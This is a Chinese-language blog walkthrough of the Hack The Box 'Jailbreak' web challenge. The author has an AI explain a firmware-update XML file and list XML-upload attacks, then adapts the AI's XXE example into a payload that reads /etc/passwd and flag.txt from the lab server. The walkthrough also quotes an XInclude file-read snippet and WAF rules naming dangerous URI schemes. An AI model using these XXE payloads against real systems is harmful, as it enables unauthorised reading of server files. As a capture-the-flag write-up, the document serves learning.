Hack The Box(HTB) - CTF Try Out : Jailbreak Walkthrough

 Hack The Box(HTB) - CTF Try Out : Jailbreak Walkthrough


終於又有時間了,這一次改玩 Web,靶機資訊如下

名稱 : Jailbreak (越獄)

難度 : 非常簡單



靶機給了一個 IP 與一個 Port,94.237.54.192:45408,開啟來看看

又是個遊戲風的網站



逛了一圈浪費許多時間在最後的 ROM 發現可以使用 XML 的格式上傳更新

且可以直接在網頁中輸入 XML 的內容



這年頭起手式就是餵給 AI,沒那個美國時間自己看,下面是將現有的 XML 內容餵給 AI

請AI 解釋整段給我的結果



這段 XML 是一個 韌體更新設定檔 (FirmwareUpdateConfig),它描述了某裝置或系統進行韌體更新的完整資訊。以下逐層解析:


根元素

<FirmwareUpdateConfig> ... </FirmwareUpdateConfig>

代表這是一個韌體更新的設定檔,裡面包含主要韌體資訊、組件更新內容,以及更新來源網址。


Firmware 區塊

<Firmware>
    <Version>1.33.7</Version>
    <ReleaseDate>2077-10-21</ReleaseDate>
    <Description>Update includes advanced biometric lock functionality for enhanced security.</Description>
    <Checksum type="SHA-256">9b74c9897bac770ffc029102a200c5de</Checksum>
</Firmware>
  • Version:韌體主版本號 → 1.33.7

  • ReleaseDate:釋出日期 → 2077-10-21

  • Description:更新說明 → 新增「進階生物辨識鎖定功能」,提升安全性。

  • Checksum (SHA-256):韌體檔案完整性驗證值,確保更新檔未被竄改。


Components 區塊

代表韌體中各個子組件的更新資訊。

1. navigation

<Component name="navigation">
    <Version>3.7.2</Version>
    <Description>Updated GPS algorithms for improved wasteland navigation.</Description>
    <Checksum type="SHA-256">e4d909c290d0fb1ca068ffaddf22cbd0</Checksum>
</Component>
  • 功能:導航模組

  • 更新內容:更新 GPS 演算法 → 改善「荒原」環境下的導航精準度

  • 版本:3.7.2

  • 驗證碼:用來驗證檔案是否正確

2. communication

<Component name="communication">
    <Version>4.5.1</Version>
    <Description>Enhanced encryption for secure communication channels.</Description>
    <Checksum type="SHA-256">88d862aeb067278155c67a6d6c0f3729</Checksum>
</Component>
  • 功能:通訊模組

  • 更新內容:增強加密機制 → 提升通訊安全

  • 版本:4.5.1

3. biometric_security

<Component name="biometric_security">
    <Version>2.0.5</Version>
    <Description>Introduces facial recognition and fingerprint scanning for access control.</Description>
    <Checksum type="SHA-256">abcdef1234567890abcdef1234567890</Checksum>
</Component>
  • 功能:生物辨識安全模組

  • 更新內容:新增 臉部辨識與指紋辨識 功能 → 更嚴格的存取控制

  • 版本:2.0.5


UpdateURL

<UpdateURL>https://satellite-updates.hackthebox.org/firmware/1.33.7/download</UpdateURL>
  • 提供韌體更新下載的 URL,讓系統能自動或手動下載更新檔。


總結
這個 XML 定義了一個 韌體版本 1.33.7 的更新資訊,主要亮點是:

  • 主系統新增進階生物辨識安全功能

  • 導航模組演算法更新 → 更佳定位

  • 通訊模組加密強化 → 更安全

  • 生物安全模組支援臉部/指紋辨識 → 提升存取控管

  • 提供 SHA-256 checksum 驗證檔案完整性

  • 指定更新下載來源 URL




下一個問題,直接請 AI 提供利用 XML 上傳的攻擊手法

回答如下 :

以下內容聚焦「可上傳 XML 檔案」情境的常見攻擊手法、衝擊向量與治理建議;用語偏企業資安風格,便於納入內控/稽核與SDL(Secure Development Lifecycle)。

攻擊面總覽(Threat Landscape)

  • 上傳入口:REST/GraphQL/SOAP API、檔案上傳(含壓縮檔內含 XML)、表單匯入、SAML/WS-Security 訊息、SVG 圖檔等。

  • 解析層:XML Parser(SAX/DOM/StAX)、XSLT/XPath/XQuery 引擎、Schema Validator(DTD/XSD)、反序列化框架(JAXB、Jackson XML)。

  • 常見誤設:允許 DTD/外部實體(External Entities)、未限縮解析資源、接受危險協定(file://、http(s)://、gopher://、jar://)、未關閉 XInclude、簽章驗證寬鬆等。


常見攻擊手法與影響

類型 手法/描述 典型影響 前置條件 偵測線索 主要緩解
XXE(XML External Entity) 透過 <!DOCTYPE> 與外部實體載入本機/遠端資源 資料外洩(/etc/passwd、應用程式設定)、SSRF、服務崩潰 Parser 允許 DTD/外部實體 非預期的內部 DNS/HTTP 連線、Parser 錯誤 全面關閉 DTD/外部實體、禁止危險 URI scheme
Blind XXE / OOB 看不到回應時,改以 DNS/HTTP 外帶資料 隱蔽 exfiltration、內網探測 可對外連線 異常 DNS query、egress 流量 egress 控制、DNS 監測、關閉 DTD
XInclude 注入 xi:include 引入外部文件 讀取機密、繞過存取控制 啟用 XInclude 請求含 xi:include 停用 XInclude
XML 實體膨脹(Billion Laughs) 巢狀實體爆破記憶體/CPU DoS 允許 DTD/實體 高 CPU/記憶體、GC 壓力 關閉 DTD;設定實體/節點/深度上限
Quadratic Blowup 超長實體替換造成解析成本激增 DoS 同上 延遲飆高 同上;限制 token 長度
XPath Injection 在查詢字串中注入表達式 授權繞過、資料外洩 未做輸入驗證 錯誤訊息、回傳筆數異常 參數化 XPath、白名單驗證
XSLT Injection 注入樣板導致任意檔案讀取/SSRF/有時 RCE 機敏讀取、指令執行(依引擎能力) 動態載入不可信 XSLT 不尋常的 transform 例外 禁止不可信 XSLT;沙箱化引擎
反序列化(XML→物件) 以型別繫結觸發 Gadget Chain RCE、資料破壞 啟用多型/自動型別繫結 例外堆疊含可疑類別 關閉預設型別解析、型別白名單
Schema Poisoning 惡意 XSD/DTD 變更驗證規則 驗證繞過、邏輯缺陷 遠端載入 Schema 非預期 Schema 請求 固定本地 Schema、停用外部載入
XML Signature Wrapping(WS-Security) 節點搬移/雙重簽章繞過驗證 偽造訊息、授權提升 鬆散簽章驗證 簽章驗證通過但目標節點變更 採用嚴格 ID/Reference 綁定
SOAP Action/Body 混淆 攻擊 SOAP Envelope/Headers 業務邏輯繞過 使用 SOAP 例外/審核不一致 嚴格 WSDL 驗證、固定端點
SVG/Polyglot 濫用 將 XML(SVG)偽裝為圖片上傳 XSS、XXE 鏈結 前端預覽或後端解析 Content-Type/副檔名不一致 僅允許位元圖;驗簽/嗅探禁用
Zip Slip + XML 壓縮檔含 XML 與路徑穿越 覆寫檔案→後續 XXE/RCE 允許 zip 上傳 解壓路徑異常 正規化路徑、禁止相對外洩

安全設定基線(Parser Hardening Checklist)

  1. 關閉 DTD 與外部實體disallow-doctype-decl=trueexternal-general-entities=falseexternal-parameter-entities=false

  2. 停用 XIncludeXIncludeAware=false

  3. 限制資源:節點深度、最大文件大小、實體展開次數、網路/檔案系統存取一律關閉。

  4. 固定 Schema 來源:使用內嵌或本地 XSD,拒絕遠端載入。

  5. 輸入驗證與編碼:對 XPath/XQuery/XSLT 採參數化;內容白名單。

  6. 反序列化防護:關閉自動型別繫結;啟用安全型別白名單/黑名單;禁用危險轉換器。

  7. MIME/副檔名一致性:強制 Content-Type、副檔名白名單、拒絕內容嗅探。

  8. 上傳處理隔離:在沙箱(seccomp/AppArmor/容器)處理解析;唯讀檔系存取。

  9. Egress 控制:預設拒絕出口連線,阻斷 XXE/SSRF 外帶;DNS Logging。

  10. 簽章與完整性:SAML/WS-Security 啟用嚴格 ID 綁定與參考驗證。

  11. 可觀測性:集中式日誌(請求ID)、XML Parser 指標、WAF/IDS 規則(XXE/XInclude/DTD)。


細部範例(安全示意,非攻擊教學)

危險片段(應被拒絕)

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<upload><name>&xxe;</name></upload>

治理目標:Parser 應直接拒絕含 DOCTYPE 的文件,或在不解析任何外部實體的前提下當作一般文字處理。

XInclude 片段(應停用)

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///var/app/secret.cfg" parse="text"/>
</root>

測試與稽核(Security Assurance)

  • 單元/整合測試:導入安全測試樣本(帶 DOCTYPE、XInclude、超長實體、巨大 XML、錯誤 MIME)。

  • DAST/SAST/SCA:確保掃描規則涵蓋 XXE/XPath/XSLT/反序列化;檢視 Parser 配置。

  • WAF/規則:阻擋 <!DOCTYPExi:include、可疑協定(file://gopher://jar://);限制大文件與慢速上傳(Slowloris 防護)。

  • 藍隊監控:建立「XXE 指標板」:拒絕率、DTD 命中、出站 DNS/HTTP 嘗試、解析異常。

  • 供應鏈控管:鎖定 XML 相關函式庫版本;啟用 SBOM 與定期漏洞盤點。


快速落地(Actionable Next Steps)

  1. 盤點所有「會解析 XML」的上傳/匯入路徑,製作 Parser 設定矩陣(框架 × 版本 × 設定值)。

  2. 預設拒絕 原則套用「關閉 DTD/外部實體」與資源上限;對需要 XML 的業務例外走變更流程。

  3. 建置惡意樣本 CI 測試與 egress 阻擋策略;在 WAF/IDS 佈署 XXE/XInclude 規則。

  4. 對 SAML/WS-Security 流量進行簽章繫結壓力測試與審計。

  5. 將上傳解析服務容器化並最小權限運行,啟用唯讀檔系與網段隔離。



那就直接輸入 AI 提供的第一個腳本試試看

<!DOCTYPE foo [

  <!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<upload><name>&xxe;</name></upload>

Submit 送出後顯示錯誤訊息要有 "FirmwareUpdateConfig"



參考原有的 XML 格式加上 "FirmwareUpdateConfig" 如下

<!DOCTYPE foo [


  <!ENTITY xxe SYSTEM "file:///etc/passwd">


]>

<FirmwareUpdateConfig>

  <Firmware>

    <Version>&xxe;</Version>

  </Firmware>

</FirmwareUpdateConfig>



直接讀到 /etc/passwd 檔案內容



將路徑改成 flag.txt 直接讀到 flag



但該網頁不給我複製,直接 F12 開啟複製

flag : HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_80cd27fe832bdfdea969b2986b792585}





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)